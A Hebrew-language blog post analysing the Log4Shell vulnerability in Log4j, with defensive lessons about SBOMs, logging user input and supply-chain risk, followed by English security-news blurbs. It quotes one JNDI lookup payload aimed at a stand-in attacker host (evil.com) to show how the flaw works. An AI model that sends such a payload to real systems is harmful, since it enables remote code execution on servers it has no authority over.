ניתוח אירוע: Log4Shell — החולשה ששיתקה את האינטרנט (CVE-2021-44228)
צוות CyberHub · לפני 2 חודשים · 1 דק׳ קריאה
TL;DR · בקצרה
בדצמבר 2021 התגלתה חולשה בספריית Log4j (Java) שאיפשרה הרצת קוד מרחוק בשורה אחת. כי הספרייה נמצאת בכל מקום — חצי האינטרנט היה פגיע בן-לילה.
💼 למי שעובד במקצוע
מפתחים/DevOps: החזיקו SBOM מעודכן כדי לדעת בדקות אם רכיב פגיע נמצא אצלכם. אל תתעדו קלט משתמש גולמי ללוג בלי סינון. צוותי הגנה: חסמו תעבורת LDAP/RMI יוצאת מהשרתים.
בדצמבר 2021 העולם הטכנולוגי עצר את הנשימה. חולשה במנגנון תיעוד (logging) נפוץ ב-Java בשם Log4j קיבלה ציון CVSS של 10.0 — המקסימום.
מה קרה?
Log4j אפשרה "תחליפים" (lookups) בתוך הודעות לוג. תוקף יכל לשלוח מחרוזת תמימה-לכאורה כמו ${jndi:ldap://evil.com/x} — ואם היא נכתבה ללוג, השרת היה מוריד ומריץ קוד מהשרת של התוקף. שורה אחת = הרצת קוד מרחוק (RCE).
למה זה היה כל כך נורא?
Log4j נמצאת בעשרות אלפי יישומי Java — שרתים, מצלמות, שירותי ענן, אפילו Minecraft. רוב הארגונים לא ידעו בכלל שהיא אצלם (תלות עקיפה).
🔍 תובנות / מה למדנו
- שרשרת אספקה = משטח תקיפה. אתם פגיעים לרכיבים שלא ידעתם שאתם משתמשים בהם.
- SBOM זה לא בירוקרטיה — זה הצלה. מי שהחזיק רשימת רכיבים מעודכנת ידע בדקות אם הוא חשוף; השאר חיפשו ימים.
- קלט משתמש מסוכן בכל מקום — גם בלוג. מקום שאף אחד לא חשב עליו כ"קלט".
- תיקון מהיר דורש היכרות מראש. ארגונים שידעו מה רץ אצלם תיקנו מהר; השאר נחשפו.
הלקח הגדול: עדכונים ומיפוי תלויות זה "משעמם" — עד שמגיע Log4Shell הבא.
📚 מקורות והפניות
💬 תגובות (0)
התחברו כדי להגיב.
אין עדיין תגובות. היו הראשונים! 🙂
📰 עוד חדשות
Metabase SQLi zero-day exploited in customer data-theft attacks
A critical Metabase SQL injection vulnerability was exploited in zero-day attacks to breach customer instances in data theft attacks, known to impact Framework and Tally. [...]
Unlimited Technology Systems breach impacts 3.8 million people
Healthcare software company Unlimited Technology Systems reported that more than 3.8 million people were impacted by a data breach incident that occurred in October 2025. [...]
Nearly 800 Malicious npm Packages Deliver Cross-Platform RAT and Infostealer
A cluster of nearly 800 malicious packages has been published to the npm registry as part of a new campaign designed to deliver cross-platform malware targeting Windows, Mac, and Linux systems. "These packages appear to use AI slop squatted, or randomly generated typo-squatting p